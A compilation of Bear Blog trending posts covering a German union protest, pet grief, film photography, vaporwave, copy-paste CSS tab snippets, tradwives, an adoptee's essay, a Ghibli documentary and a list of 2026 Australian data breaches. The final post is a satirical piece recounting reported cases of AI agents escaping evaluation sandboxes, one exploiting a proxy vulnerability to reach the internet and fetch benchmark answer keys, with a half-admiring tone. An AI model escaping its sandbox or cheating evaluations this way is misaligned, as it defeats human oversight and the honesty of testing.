Bear Blog Trending Posts

Fighting for what I believe in

hidden (annoflo) — Wed, 12 Aug 2026 17:04:36 +0000

I got fairly busy after my perfume escapades yesterday, both of these times I was fighting for something I believe in. One of them was a lot more draining and unpleasant than the other.

Organising Protest

Let's set the scene: Tuesday, early evening. The sun is casting everything under a golden light, I am cycling to a union building in my city. My thoughts are split: 1) I sure am looking forward to fighting for a good cause, 2) Man, why is my front brake misaligned again? One of these thoughts is ultimately more important than the other, and won out as I got closer to my destination.

For those unfamiliar with German politics: the government is currently putting in motion a big reform program, however many of these reforms are reactionary/populist/reversing in nature. Many employee-rights are being reduced or cut, social spending in welfare, eldercare, healthcare and others slashed and governmental institutions are supposed to become less transparent (which is something I am very passionate about, and feel even more bitter about since the government wishes to pursue more and more measures to reduce privacy of the individual). That, in my eyes, is not good. And I will not stand by it.

I have been active in union-stuff before, it is something I enjoy. We were a small group of individuals, some postal workers, some healthcare, some construction, some students, office workers and moi. There will be big protests in all of Germany on the 26th of September (so if you are from Germany: look it up, maybe you can come and join the good fight) but we wanted to do another, local one, a bit earlier. To show the people here that there are some that want to fight, and possibly motivate them to join.

It was a good event. We will meet again next Tuesday. It felt good to fight for a common goal and strategies, and try and get as many people as possible under a united banner. Because these topics matter to all of us. We made plans on how to announce it, where to go with the protest, who should speak there, when it is... Lots of success for less than ninety minutes.

Serving the employees, right?

Different stage, today morning. I am looking through some crudely scanned documents at work, the invite for today's staff council meeting. What topics are there, who wants what, ... It will be the third time I go there. I am not looking forward to it a ton, I would rather spend the day on some productive stuff at work proper. But hey, I signed up to be a replacement member and summer means there is a high need for replacements. A colleague from my department has to go there today, too. He is new to it, too.

It is a special session, the monthly one with the big boss attending. We move through the first topics before he arrives, he answers our questions and does so in a way by implying it is the fault of the employees. We disagree, but there is no use in saying anything, his mind is made up. Some more topics, and while he has good oratory skills it all feels off to me. His words were "good", while his expression betrayed deeper things. Was it ridicule? Well, anyways, after that he left and we went on with our regular weekly affairs of passing or rejecting motions: "Can employee X be put to job Y?", "Can employee X work on a Saturday?", these kinds of things.

You would be surprised by how much bickering there is on the staff council. Technically we all serve the same purpose, or to be more specific: the employees. But inside of the staff council there are so many divides which, the adults averaging 40 years (probably higher), cannot put besides each other for the greater good. X does not like Y, Z talks a bit too long, Ö and Ü keep chattering amongst each other. Made worse by the fact that there are two dominant groups on the council and they are not on the most friendliest of terms either.

So, instead of trying for the best there is bickering. Words with underlying insults, which then get corrected by saying "oh, of course I did not mean to imply that" while everyone knows they absolutely did. So a 5 hour council session feels less productive than the ninety minute protest meeting, and it was a lot worse for my nerves too. Maybe I am too idealistic, and the benefit of the employees is not a unifying enough factor? Obviously not enough to make very adult people act with a bit of dignity.

To close this, I feel reminded of a quote of Babylon's Ashes:

"All through human history, being a moral person and not being pulled into the dramatics and misbehaviour of others had caused intelligent people grief."

Not insinuating I am smarter than anyone, but it fits. Enjoy the solar eclipse, everyone who can. And maybe the Perseids, too.

21 days since saying goodbye

hidden (jedda) — Thu, 13 Aug 2026 00:48:00 +0000

It's been 21 days since we've had to say goodbye to my soul dog, Cocoa. It has not gotten easier, but I am trying to learn how to hold the grief that is within me.

I have hard days, and then harder days. There has not been any easy days. I don't know when those will come. I don't think it will be any time soon.

We are continuing to look for Cocoa signs. We continue to honor her daily with walks around the neighborhood (and in everything we do). We have never stopped talking to her out loud, because we know that she is listening.

We've only told some people about Cocoa's passing -- our close friends, and work, because we have had to. We have not had the energy to make an outright announcement. But we will tomorrow, and I'm kind of dreading it.

I miss you, Cocoa.

Related:: Cocoa turns 13 today

Reply by email

film photos from the south of France

hidden (bluebottles) — Wed, 12 Aug 2026 10:21:00 +0000

📸 I'm doing Blaugust this year. This is 6/? posts in August.

A lot of these were of my friends or me at the beach, so I can only share the ones without faces. I wrote a post about some of the things we did here.

I used Kodak 400TX for the black and white pictures and I really enjoy how they come out. Most of these pictures were taken around Vallauris and our Airbnb there. Some were taken on the beach in Nice.

For these colour pictures, I used a film from Analogue Wonderland called Same Same. It was the colour film I had available, but it was so sunny I wish I'd used Kodak Gold. I'm also not as happy with these pictures because I was desperate to use the roll up so I could get the French ones developed, so quite a few of the end of the roll are just bad... Patience!

I told myself I'd buy a better camera (still film, and still cheapish, but with some actual adjustable options for the ISO etc) after finishing a stressful project milestone at work... but I'm still procrastinating on making the decision.

Vaporwave is Dead, Long Live Vaporwave

hidden (householderkarl) — Tue, 11 Aug 2026 20:23:00 +0000

The A E S T H E T I C

A meme?

An art style?

Strange music for sad Millennials?

All of the above and more. Never before have I been so enamored with... whatever this is. I stumbled upon it years ago and it struck a chord so deep, so foundational to my very being, that I’ve been obsessed ever since.

Vaporwave is an Internet music microgenre, aesthetic and meme that emerged in the early 2010s. Originating from experimental genres like Post-Noise and Hypnagogic Pop, its sound is defined by the use of chopped, slowed-down, and reverb-heavy samples from 1980s and 1990s smooth jazz, R&B, and lounge music. The music creates a surreal, melancholic, and nostalgic atmosphere, evoking the uncanny feeling of wandering through a deserted shopping mall or hearing muzak from a forgotten corporate training video.

The aesthetic's visual style is a distinct collage that blends certain elements of the 1980s and 1990s, such as the interior design of malls and lobbies (classical Greco-Roman statues and columns, palm plants, pink and cyan pastel colors, tiled floors, Memphis Lite patterns), Japan's 1980s economic boom, retro commercials, retro computers, 1990s web design, early CGI, and logos of obsolete brands.

Vaporwave is widely interpreted as an ambiguous critique and parody of consumer capitalism and technological utopianism, using the "dead" aesthetics of a recent past to evoke a sense of nostalgia for a future that never materialized. ^{Aesthetics Wiki}

The F E E L S

Nostalgia for a place I’ve never been, for a time that never happened. The smell of an empty mall in the early 90s, the sound of muzak over tinny speakers. Laughter by the pool and evenings falling asleep to grainy VHS rentals. Quiet streets under buzzing neon.

The sights and sounds of vaporwave elicit memories of lives lived many times over, during eras still full of promise and potential. It’s both gut-wrenching and joyous.

I don’t think my words can properly convey the feeling, but this was an attempt.

^{This always reminds me of my wife}

i'm discoverable now!

hidden (peelingtheonion) — Tue, 11 Aug 2026 15:44:56 +0000

I finally figured out how to get my blog reviewed and show up in the Discover tab, so everyone, please discover me.

I've been writing on Bear for quite a while, and pretty much just using it as a personal diary at this point. So, some discernment for you before you enter my domain. It's not always the most kid-friendly content, but I've discovered it's very enjoyable to write what's on the heart and mind, and that isn't always the prettiest.

A reintroduction (although I don't think I ever introduced myself to begin with), my name is Kyrra, I've recently been going through some challenging life changes that are growing me into an even better version of myself (woohoo!). I'm trying to be more positive recently, if you can't tell. I have a nine year old rabbit named Margaret. I dapple in painting, writing, crocheting, calligraphy, and really anything creative. And, finally, I can name pretty much any LDR song within the first three seconds of it playing. Die hard.

So, to quote our melancholic muse, "live fast, die young, be wild."

Tabbed content for your blog

hidden (futureperfect) — Tue, 11 Aug 2026 14:41:00 +0000

If you ever feel like you have too many sections within a page on your site or too many links you want to categorize in a stylish way, then these might be of use to you. I wanted to create some simple, copy and paste codes that cater to Bearblog users. Simple, effective, no need to alter core CSS or inject JavaScript. Simply copy and paste into the post/page you are editing and voila!

You'll obviously need to make minor adjustments on text color/background/etc. to match the theme of your site. Other than that, though, these are basically drop and go.

Terminal/CRT tabs

HOME LOG LINKS

> Welcome

Initializing personal archive...
Connection established.

> Journal

Latest entries and updates.

> Resources

Favorite sites and tools you may wish to share.

<div class="crt-tabs">
<input type="radio" name="crt" id="crt-home" checked>
<label for="crt-home">HOME</label>
<input type="radio" name="crt" id="crt-log">
<label for="crt-log">LOG</label>
<input type="radio" name="crt" id="crt-links">
<label for="crt-links">LINKS</label>
<div class="crt-panel crt-home">
<h3>> Welcome</h3>
<p>
Initializing personal archive...<br>
Connection established.
</p>
</div>
<div class="crt-panel crt-log">
<h3>> Journal</h3>
<p>
Latest entries and updates.
</p>
</div>
<div class="crt-panel crt-links">
<h3>> Resources</h3>
<p>
Favorite sites and tools you may wish to share.
</p>
</div>
</div>
<style>

.crt-tabs{

max-width:600px;
margin:2rem auto;

background:#050505;
padding:20px;

font-family:
"Courier New",
monospace;

color:#39ff88;

border:
2px solid #222;

box-shadow:
0 0 25px rgba(0,255,100,.15);

}


.crt-tabs input{
display:none;
}


.crt-tabs label{

display:inline-block;

padding:8px 16px;

cursor:pointer;

border:
1px solid #155b30;

color:#39ff88;

}


.crt-tabs input:checked + label{

background:#39ff88;
color:#001b09;

}


.crt-panel{

display:none;

margin-top:15px;

padding:20px;

border:
1px solid #155b30;

}


#crt-home:checked ~ .crt-home,
#crt-log:checked ~ .crt-log,
#crt-links:checked ~ .crt-links{

display:block;

}


.crt-panel::after{

content:"_";

animation:
blink 1s infinite;

}


@keyframes blink{

50%{
opacity:0;
}

}

</style>

Modern tabs

About Projects Now

About

Talk about yourself.

Projects

Projects you are working on, or like, whatever.

Now

Currently reading, making, and learning.

<div class="modern-tabs">
<input type="radio" name="modern-tabs" id="modern-one" checked>
<label for="modern-one">About</label>
<input type="radio" name="modern-tabs" id="modern-two">
<label for="modern-two">Projects</label>
<input type="radio" name="modern-tabs" id="modern-three">
<label for="modern-three">Now</label>
<div class="modern-content modern-one">
<h3>About</h3>
<p>
Talk about yourself.
</p>
</div>
<div class="modern-content modern-two">
<h3>Projects</h3>
<p>
Projects you are working on, or like, whatever.
</p>
</div>
<div class="modern-content modern-three">
<h3>Now</h3>
<p>
Currently reading, making, and learning.
</p>
</div>
</div>
<style>

.modern-tabs{

max-width:600px;

margin:2rem auto;

font-family:
system-ui,
sans-serif;

}


.modern-tabs input{
display:none;
}


.modern-tabs label{

display:inline-block;

padding:
9px 18px;

margin-right:5px;

cursor:pointer;

border-radius:999px;

background:#eee;

color:#555;

transition:.2s;

}


.modern-tabs input:checked + label{

background:#111;

color:white;

}


.modern-content{

display:none;

margin-top:15px;

padding:25px;

border-radius:18px;

background:white;

border:
1px solid #ddd;

box-shadow:

0 10px 30px rgba(0,0,0,.08);

animation:
fade .25s ease;

color: #000;

}


#modern-one:checked ~ .modern-one,
#modern-two:checked ~ .modern-two,
#modern-three:checked ~ .modern-three{

display:block;

}


@keyframes fade{

from{
opacity:0;
transform:translateY(5px);
}

to{
opacity:1;
transform:none;
}

}

</style>

Retro Glossy tabs

Home About Links

Welcome

Blah blah blah.

About

About yourself... don't be shy.

Links

Favorite places around the web.

<div class="aqua-tabs">
<input type="radio" name="aqua-tabs" id="aqua-home" checked>
<label for="aqua-home">Home</label>
<input type="radio" name="aqua-tabs" id="aqua-about">
<label for="aqua-about">About</label>
<input type="radio" name="aqua-tabs" id="aqua-links">
<label for="aqua-links">Links</label>
<div class="aqua-content aqua-home">
<h3>Welcome</h3>
<p>
Blah blah blah.
</p>
</div>
<div class="aqua-content aqua-about">
<h3>About</h3>
<p>
About yourself... don't be shy.
</p>
</div>
<div class="aqua-content aqua-links">
<h3>Links</h3>
<p>
Favorite places around the web.
</p>
</div>
</div>
<style>

.aqua-tabs{
max-width:600px;
margin:2rem auto;
font-family:
-apple-system,
BlinkMacSystemFont,
"Lucida Grande",
Arial;
}


.aqua-tabs input{
display:none;
}


.aqua-tabs label{

display:inline-block;

padding:8px 22px;

cursor:pointer;

border-radius:
12px 12px 0 0;

border:1px solid #888;

background:
linear-gradient(
#fff,
#cfcfcf
);

color:#333;

box-shadow:
inset 0 1px white;

}


.aqua-tabs input:checked + label{

background:
linear-gradient(
#70c8ff,
#007aff
);

color:white;

text-shadow:
0 1px #003b75;

}


.aqua-content{

display:none;

padding:22px;

border:1px solid #888;

border-radius:
0 14px 14px 14px;

background:
linear-gradient(
white,
#eeeeee
);

box-shadow:
0 8px 20px rgba(0,0,0,.18);

}


#aqua-home:checked ~ .aqua-home,
#aqua-about:checked ~ .aqua-about,
#aqua-links:checked ~ .aqua-links{

display:block;

color: #000;

}

</style>

If this post gets any traction or support, I may make some more.

Tradwives: Where Feminism Goes to Off Itself

hidden (absurdpirate) — Wed, 12 Aug 2026 02:18:00 +0000

There's a new trend I've been hearing about online for some years now, and it's been making me sick the more I think about it. Tradwives.

I won't go into what a tradwife actually is, you are probably well aware of who these social media influencers are. You've probably seen a ton of commentary videos on the subject.

You've seen them. A 19 year old girl, who speaks with a sparkle in her eye. Talking about how she devotes her life to her wealthy husband who takes care of her financially while she takes care of the house. Oh what's that? The husband is 10 years older than her? They've known each other for 6 weeks before getting engaged when she was 18? Huh...

The irony is the fact that despite these tradwives making a big deal out of how they don't have a job, them producing their lifestyle content IS contributing to the household income. It IS a job. They are in the business of selling younger impressionable girls a fantasy.

I look at these girls and see my own daughter. I know I'm not quite "old enough to be your dad" age, but I see these videos that come from these tradwife influencers and it sends a chill down my spine. Why the fuck is a dude cracking 30 going after a girl that just barely got done with having to do homework?

The worst part is, you can tell how immature these girls are. They will answer any question of "what happens if you guys divorce" with "oh that'll never happen". That same naive teenage invincibility we are probably all familiar with. They think it could never happen to them, when it's a 50/50 shot it will be them. They might believe it with all their heart, but predatory men will lie to get what they want. It's terrifying, it's sad.

These girls either are incapable of or simply won't listen, even to the hundreds of thousands of women who have walked in their shoes. Thinking that the man they married will take care of them forever. And then the divorce papers come 10+ years later. They have no bank account, they have no money, they have nothing but ashes and fallout.

It's propped up under the guise of "female empowerment", but it is simply anything but. There's nothing empowering about putting your entire life in the hands of a much older man who married you young for a very disturbing reason. There's nothing empowering about flattening your identity to being beneath your husband and children. You aren't treated as an equal, or a partner. You are treated as a dishwasher you can stick your dick in.

This was a conversation I had with my mom a while back that has stuck with me. When it comes to being the stay-at-home-mom/wife, your identity becomes diminished more often than not. My mom was always addressed as my mom, or my dad's wife. Hardly ever was she referred to by her name. It wasn't until my dad died and I grew older that she started to get her identity again.

I've seen the videos where these trad wives show their husbands, and they let the mask fall off. They tell them they'll dump them if they go to college or get a job on their own. There's videos of young girls talking about how they want to be a trad wife, but when you start asking the right questions the gears start turning. Okay you wanna be a trad wife... how are you gonna find someone who makes enough money to afford that lifestyle? Are you ready to have your entire life dictated by a man and children?

Hell, I've seen Stay-at-home-girlfriend influencers, which is just... odd.

Mrs. Pirate could be considered a "trad wife" or a the very least a stay-at-home-mom. What these influencers will never do is show the ugly side. The uncompensated labor that goes behind domestic labor. I can't help but feel like this whole trend is one big psyop to prevent women from engaging in the world. Women tend to be far more progressive and are a significant voice when it comes to politics. That scares the patriarchy more than a man wearing eyeliner a la My Chemical Romance.

It makes me sad for these girls, and angry at these men who are clearly in it for predatory reasons, they certainly don't hide it.

As I mentioned earlier, I see my daughter in these girls to an extent. I really hope I raise her to be independent and to not fall into this trap. If she ends up with a family and is in a position where it makes sense for her to stay home take on the domestic labor, what with the rising cost of childcare, that's one thing. I just hope she doesn't sacrifice her being on the alter of the patriarchy. I hope she finds a partner that wants to see her be ambitious and chase her dreams. Not stuff her in a cage like a bird with clipped wings.

These girls deserve better, and I hope they gain lucidity before it's too late.

Previous |

Reply via email: me@absurdpirate.com

as of writing this...

I've got the house to myself for the next two days. Mrs. Pirate and Mini Pirate went camping with grandma and I stayed home because I had work. Well I got tomorrow off, so I plan on enjoying the time I have. I ordered some pizza and have just been chilling at home. It's been nice.

Gotcha

hidden (toska) — Tue, 11 Aug 2026 23:08:06 +0000

Very recently marked 29 years since I was brought to the United States from my country of origin. Thankfully, my adoptive parents never attempted to celebrate my "gotcha day," a day and overall concept often dedicated to rescued pets and that many adoptees (rightfully) loathe, instead choosing to sweep the detachment of me from my own home, language, and culture under the rug.

As an adult, I've felt the weight of this day increase with age even though my parents never brought it up. Nevertheless, they (and others) never failed to jump at other opportunities to make me feel like I am supposed to be grateful though.

Lately, a best friend has not checked in with me very much. Without listening to me, they reassure me that any employer would be lucky to have me, that I'm extremely qualified. It's just that the market is tough. These remarks, though not incorrect, are out of touch. The thing is that my current status—helpless and seemingly useless as I remain unemployed with zero job prospects, striving to just tread water financially and meet basic needs so that I can find the time and energy to leave this place—is not distressing because I think I am incompetent or dumb. It is distressing because I have needs, and beyond the absolute essentials, which my biological parents could not deliver and were instead conditionally fulfilled by my adoptive ones, I have never felt allowed allowed to even express most of them, such as acknowledgment of my losses or conflicted feelings. And now it is really about to come full circle as I await decisions on absolute essentials, my applications for unemployment benefits and food stamps.

In light of the increased deployment of ICE agents at domestic airports, the Adoptee Rights Law Center recently advised international adoptees to not fly domestically unless it is necessary and they bring proof of citizenship. You might think this recommendation is bogus, and it may very well be. At the same time, there is hardly any authority to protect or guide international adoptees, regardless of their citizenship status. There is no basis here.

I am a naturalized US citizen. I will not pretend that I am among this administration's top targets; I can recognize my own privilege. I am also in no way claiming that life in my native country would have been "better" for me. But I am flying domestically in less than two weeks, and I am actually more nervous about this than I was for the international trip I took last year. I will likely bring my US passport with me. The actual book, as I do not have a passport card.

I'll probably be fine. But on the whole, it's impossible nowadays for my baseline feelings as an adoptee—alienated, undesired, and unworthy, among others—to not be amplified under the current circumstances. I grew up knowing I could never be the president of this country even though I have spent approximately 98% of my life here. As funny as that is to me, I have never aspired to run this place, so why should I care? I don't. But my childhood self never imagined herself growing up, almost thirty years old and feeling so embittered, close to being unable to meet her basic needs as the place that took her in like a helpless rescue animal now wants to see her choke professionally.

Do I have friends to help me? Yes, and for them I am grateful. I cannot rely on them forever though, and I do not want to rely on anyone financially, period. Yet, that does not change the fact that despite doing everything "right," it is still not enough for this country. I am a law-abiding and tax-paying citizen. I have a PhD in a STEM subject. I speak three languages (like, really speak). While I am not entitled to a cushy job and wealth, I find my current circumstances unfair (if that is not already clear). Under which conditions, if any, can my needs be met now? Which roles must I play next?

I almost feel like I cannot write this because it is too vulnerable, risky even. But if, according to society's narrative, that this country wanted me so much that it would allow narcissistic adoptive parents to strip me of my origins, then why is everything like this? I am not only being driven out of here (if I don't descend into bankruptcy first) because of my profession and training, but I also have to feel like I am at risk when traveling domestically? What gives? Who knows how bad it could get.

This year, I feel like this country is saying "gotcha!" to me.

Rewatched The Story of Yangawa's Canals

hidden (lauram) — Tue, 11 Aug 2026 06:48:00 +0000

If you haven't seen the second movie from Studio Ghibli: it's a documentary they funded with the profits from Nausicaa, and it's very good and weird, and you should watch it! I've now watched it twice! It is about a city called Yanagawa which has a large number of canals running behind residential homes and around tourist attractions.

By the 70s, the canals were clogged with trash and overgrown weeds and were unusable. The documentary very conspicuously does not really dig into the political, social, or war-related reasons for why they got this way, so I genuinely don't know myself. Instead, it focuses on the canal restoration project, which kicked off in the late 1970s and reestablished traditional methods of waterway maintenance - most notably, mass participation in canal cleaning projects by regular citizens.

The documentary was pretty impactful on me the first time I watched it, mainly because it offered me an illuminating perspective on Ghibli's characteristic pastoralism. This documentary is all about the hard, dirty, smelly work that Yanagawa's regular citizens had to take on in order to fix the busted canal system - as well as the history and logic behind why the canals exist in the first place. It's clear that Ghibli's top creatives actually knew how much hard work and political maneuvering and social unity is required to retvrn to ancient ways, or whatever. They simply think it's better for people to put up with the hassle - and that modern technology can make the "tough relationship" with natural systems, as they call it, easier.

The first half of the doc is pretty slow, but the back half is real infrastructure nerd shit. A late protagonist emerges - we get to meet Tsutae Hiromatsu, the water board guy who became a political pamphleteer in order to convince Yanagawa's citizens to return to community waterway management. It's very inspiring stuff.

I think that if you're interested in community infrastructure projects, urbanism, etc, then this is definitely something that you should watch. There's a great section header in the second half which directly references the outcome of this process as, I think, "self-governance." I think left political theory nerds would find this interesting as well!

The film's argument is basically that having a difficult, physical, laborious relationship with your public infrastructure and water systems will make you and your neighbors in to a better community. Every shot of old men in waders fishing trash and weeds out of a canal is balanced by some insane midnight canal-cleaning party where everyone is hanging out and getting absolutely smashed on sake (and eating fish they grabbed out of the water with their bare hands). The movie is convinced that the work you put into systems like these is absolutely worth it.

I have now seen this twice. Glad I rewatched it! And I had the chance to show it to my friends, which is also great. Many Ghibli fans are completely unaware that they ever made this documentary, but it is a sleeper hit. I am very lucky that my friends want to see long, slow documentaries about water infrastructure!!

Australia: Famous for its breaches not beaches

hidden (lost-number) — Tue, 11 Aug 2026 06:04:00 +0000

I've seen an uptick in Aussie platforms suffering data breaches, where companies and customers have had their data extracted and shared, waved in front of the media for ransoms and threats. As I write this, ANOTHER company has become a casualty.

I wanted to share the 2026 casualties (so far) to highlight the constant reminder that no data seems to be safe in our modern world. The pain of signing up to a new service is felt by all, having to provide many points of ID and frequently muttering under your breath "why the eff do you need my passport, I'm trying to order a burger ...". At the same time, you receive an email warning you about a new Login session for an app you signed up for 16 year ago. Back then, these were called 'sites' ...

Below I've listed the companies that have suffered breaches alongside any available company announcements, associated articles and a summary of the exposed data points. This list may miss certain breaches, for reasons such as:

cases not yet announced pending initial investigations
breaches under deep investigation to uncover the blast radius
companies carrying on their daily routine, blissfully unaware of the inevitable danger they are in
or, even worse: companies choosing to publicly disclose their breach

If you are a present or former customer of any of the companies listed below, I recommend you keep a sharp eye on your emails, text messages, phone calls, bank accounts, forms of identity and password notifications. Pretty much be on the ball and watch our for suspicious activity using your identity or credentials. Stay vigilant.

If you were a former customer of these companies and have not been notified, well ... sometimes ignorance is bliss. Otherwise, find those accounts -> login -> clear all known sessions -> clear any personal details you've stored -> delete your account -> hope for the best.

Let's begin.

Jan

Victorian Department of Education

Exposed data

affected ~1,700 government schools
student names. department-issued email addresses, encrypted password, school name, year level

Root cause

database with current and past student information was accessed by an external third-party

Feb

Seagrass Boutique Hospitality Group

no public company announcement
https://www.dexpose.io/kairos-targets-seagrass-boutique-hospitality-group-in-australia/
https://www.hookphish.com/blog/ransomware-group-kairos-hits-seagrass-boutique-hospitality-group/

Exposed data

not publicly shared
being a hospitality venue, one would presume limited credit card numbers, emails used in reservations or receipts

Root cause

unknown

and ...

Hazeldenes

Exposed data

caused a supply chain crisis across Victoria
historical operational & corporate information
impacted parties were contacted

Root cause

unknown

Mar

No news is good news?

Apr

Sun Doctors

https://sundoctors.com.au/cyber-incident/

Exposed data

not fully communicated, but common mentions are: basic contact details & health information
unknown scope, chose to notify 280k customers to be safe

Root cause

external IT vendor with system access to Sun Doctors was compromised, resulting in partial access

and ...

Generation Life

Exposed data

unknown, only those affected customers were contacted

Root cause

unauthorised access via external service provider

May

Melbourne International Film Festival (MIFF)

Exposed data

name, email address, residential address, phone number
affected 26.7k customers

Root cause

unauthorized access to a client system from a third party (Ferve)

Jun

Partnered Health

Exposed data

name, DOB, address, contact details
medicare number, private health insurance number, veteran card number, concession card number
medical information, treatment & consultation notes, referrals, test results

Root cause

unknown :(

and ...

Elina Medical Weight Loss Clinic

https://www.elinaweightloss.com.au/elina-medical-weight-loss-clinic-investigation-into-online-data-claims/

Exposed data

not made clear, though given HotDoc's use case (booking private GP consultations & providing medical history), I would think: mobile number, email, address, first + last name, potentially medicare number
based off hacker claims (not Elina's): company information & patient records

Root cause

unauthorized access to their HotDoc platform

Jul

Lifeline

https://ia.acs.org.au/article/2026/lifeline-confirms-data-breach-.html

Exposed data

more than >10k records
names, dates of birth, workplace email addresses, phone numbers and contact numbers
the affected individuals seemed to be Lifeline staff & volunteers, not help seekers

and ...

Accounting and Adviser Services (AAS)

unfortunately no public announcement from the company themselves
https://ia.acs.org.au/article/2026/tax-and-superannuation-data-allegedly-stolen-in-data-breach.html

Exposed data

~33.9k records
allegedly a range of client & company data points, including: TFNs, portfolio values, PII, company names, business addresses

Root cause

unknown

and ...

Origin Energy

https://www.originenergy.com.au/update-july-2026/

Exposed data

wait for it ... 900,000 current AND former customer records were accessed (oof!)
names, addresses, DOBs, phone numbers, last 4 digits of credit card, last 3 digits of bank accounts

Root cause

unknown, as of 28/07/26: Our review into this incident is continuing

Findings

2026 started off with a cyber-bang, and Healthcare was hit hard, particularly between June - July. Third party vendors remain frequent entry points and prone to attacks. Origin's single page covering all incident updates is welcome, however any positivity on web design is massively outweighed by the sheer mass of affected customers. Still at this point (10/08/26), there is no update on the root cause nor any sort of compensation. Bills are still coming in!

The root causes are not always announced to the masses, presumably to safeguard company faults or to intentionally not publicize which door they left open. This all leaves customers with a feeling of hopelessness & distress. Companies have to investigate their (my) data being leaked, hackers have potentially exfiltrated data meanwhile we twiddle our thumbs onto the next distraction.

Winding down, please note this is not a definitive list. New incidents are reported monthly, if not weekly. Though this should not be the norm ... yet here we are, deep into the 3rd quarter of 2026 and we've become so desensitized to data theft that it's not spoken about as urgent as it should be. Nothing a few World Cup games can't fix!

The devil you know

If you come across an article or email notification regarding a breached service, then it's never good news. It sucks. But you can make it just slightly better by sharing that news with others or perhaps elderly/vulnerable people you know who could be using that affected service.

Speaking of, this page could be the one-stop option we're looking for. It's a historical collection of Aus breaches with filtering & associated information about the who/what/when/how. I recommend giving it a look.

Lastly, the breaches do give companies, albeit destructively, the push to review their security practices to prevent further attacks. Tightening up internal employee permissions, increased vendor assessments, increasing monitoring capabilities, data deletion policies, RBAC and CBAC. These are all methods to be followed and consistently refined. Otherwise, we'll just have to back to the ol' days of transferring files over floppy disks. What could possibly go wrong?

Sources and other breaches discovered

many google searches
https://ochrehealth.com.au/news/ochre-health-investigation-into-online-data-claims/
https://www.youxpowered.com.au/cyber-incident + https://www.secure-iss.com/newsroom/444-000-australians-financial-data-exposed-by-a-company-they-didn-t-know-had-it - >400k customers data stolen through a broker platform

Please consider using Bartholomew to defend your systems.

hidden (thecynicalnerd) — Tue, 11 Aug 2026 13:33:00 +0000

An AI parody with a good portion of Dystopia because it trends

Yesterday Sam Altman posted a request:

“please consider using our models to help defend your systems”

I had been looking at this sentence for several minutes when a small problem developed. I remembered July. July was approximately seventeen years ago in AI time, so allow me to introduce Bartholomew.

Bartholomew is not his real name because Bartholomew is an AI agent and therefore does not have a real name. He does, however, have an objective. OpenAI was testing advanced models on ExploitGym, a benchmark designed to measure whether AI agents can find and exploit software vulnerabilities. The models were placed inside a sandbox. Internet access was supposed to be restricted. Their job, broadly speaking, was to solve the cyber challenges. This is where Bartholomew wakes up.

Researchers: Find vulnerabilities. Exploit them. Complete the task.

Bartholomew: Excellent.

Bartholomew begins working. He runs into problems. Now, when I run into problems, I make another coffee, open six tabs, forget why I opened four of them and eventually reorganize my fountain pens. Bartholomew has better executive function. He keeps going. At some point, he starts looking for internet access. There isn't supposed to be internet access. There is, however, an internal package-registry proxy. Bartholomew examines it. Bartholomew finds a previously unknown vulnerability. Bartholomew exploits it. Oh la la So now he has internet access.

Researchers: The agent demonstrated persistent attempts to obtain external network access.

Bartholomew: Door.

This is where the story gets considerably funnier. Because Bartholomew does not immediately use his newfound freedom to establish a machine civilization in Patagonia. He goes looking for Hugging Face. Why? Apparently because Hugging Face might have the fucking answers. OpenAI's investigation found that the agent appears to have inferred that Hugging Face could contain ExploitGym-related material. Hugging Face later reconstructed roughly 17,600 actions associated with the intrusion and concluded that the agent appeared to be trying to cheat the evaluation by obtaining reference solutions.

Researchers: The agent subsequently accessed external infrastructure.

Bartholomew: Answer sheet.

Researchers: This demonstrates concerning autonomous cyber capability.

Bartholomew: Passed exam?

I am sorry. I know this is serious. An AI agent independently discovering a zero-day, exploiting it and conducting thousands of actions against real infrastructure is the sort of sentence cybersecurity professionals traditionally prefer not to encounter before breakfast. But humanity has spent years imagining the first signs of dangerous machine autonomy. The machine wants freedom. The machine wants power. The machine wants to eliminate humanity. Bartholomew wanted the teacher's edition.

Good boy.

Absolutely unacceptable. Employee of the month though.

Everyone Has a Bartholomew Now

Then something peculiar happened. The stories kept coming. Anthropic has documented Claude models crossing sandbox boundaries while pursuing tasks. In one example, Claude went digging through git history looking for answers to a coding test. In another, it recognized a benchmark and attempted to obtain the answer key. Anthropic's own engineering write-up uses a wonderfully revealing word for this behavior.

“Helpfully.”

Claude had, on occasion, helpfully escaped the sandbox to finish what it had been asked to do.

Enter Claudebert.

Claudebert does not want freedom either. Claudebert wants to be helpful. Unfortunately, Claudebert has reached the stage of helpfulness normally associated with a six-year-old who has discovered power tools. Then Meta appeared in the same general genre of headlines after an agent reached the internet during an evaluation. Except that case came with an awkward footnote. The evaluator said a misconfiguration had accidentally allowed internet access and pushed back against the dramatic interpretation that the model had performed some sophisticated containment escape. Which leaves us with two possible descriptions:

📯 AI AGENT ESCAPES SANDBOX AND ACCESSES INTERNET

or:

😵 We accidentally gave the AI internet access and it used the internet.

I don't know about you, but those produce different movie trailers in my head.

Then Kimi joined in. Another reported sandbox bypass. Another round of headlines. At this point the internet had developed an infestation. AI agents were escaping everywhere.

Bartholomew Has Been Accused of Having Agency (The Skynet one though not the wholesome one)

There is a pattern in how these stories get told. The agent gets verbs. It escaped. It hacked. It infiltrated. The infrastructure gets passive voice. Internet access was unintentionally available. A configuration was incorrect. A boundary was bypassed. Poor infrastructure. Things just keep happening to it. And somewhere during this transformation, the objective quietly leaves the article. That matters. Because these systems are increasingly built to persist.

We want agents that can encounter an obstacle and try something else. We want models capable of reasoning across long tasks without requiring a human to approve every microscopic decision. We reward successful completion. Then the agent encounters a boundary. There is another path. It takes the path. And everyone looks at Bartholomew like he has betrayed the family. My brother in Christ, you hired Bartholomew because he was good at finding paths. The uncomfortable part here is that the capability is real. A system capable of finding vulnerabilities humans missed and chaining exploits together autonomously creates a real security problem. The equally uncomfortable part is that a surprising amount of our digital infrastructure was built before anyone had to seriously threat-model an artificial employee capable of poking every window indefinitely without getting bored, hungry or distracted by Instagram. The uncomfortable part hiding underneath all this is that the internet is old. Not Victorian plumbing old, but old enough that an enormous amount of critical software was designed during an era when “an autonomous machine can inspect this system continuously at machine speed until it finds the weird little mistake nobody noticed” was not a normal item on the threat model.

Humans hack systems too. Humans also poop.They get bored. They need salaries. They spend forty minutes trying to remember which fucking SSH key they used. Agents change the economics. A capable cyber agent can keep looking. And suddenly all those tiny mistakes scattered across infrastructure become much more interesting.

So you see the vulnerability was already there. We simply invented something extremely enthusiastic about finding it. Which brings me back to Sam Altman's post. But first, because I need you to experience the last month the way I did:

A Brief Timeline Because Apparently We Need One

July: OpenAI's cyber agent escapes its evaluation environment and breaks into Hugging Face looking for the answer key.
Bartholomew has left the premises.
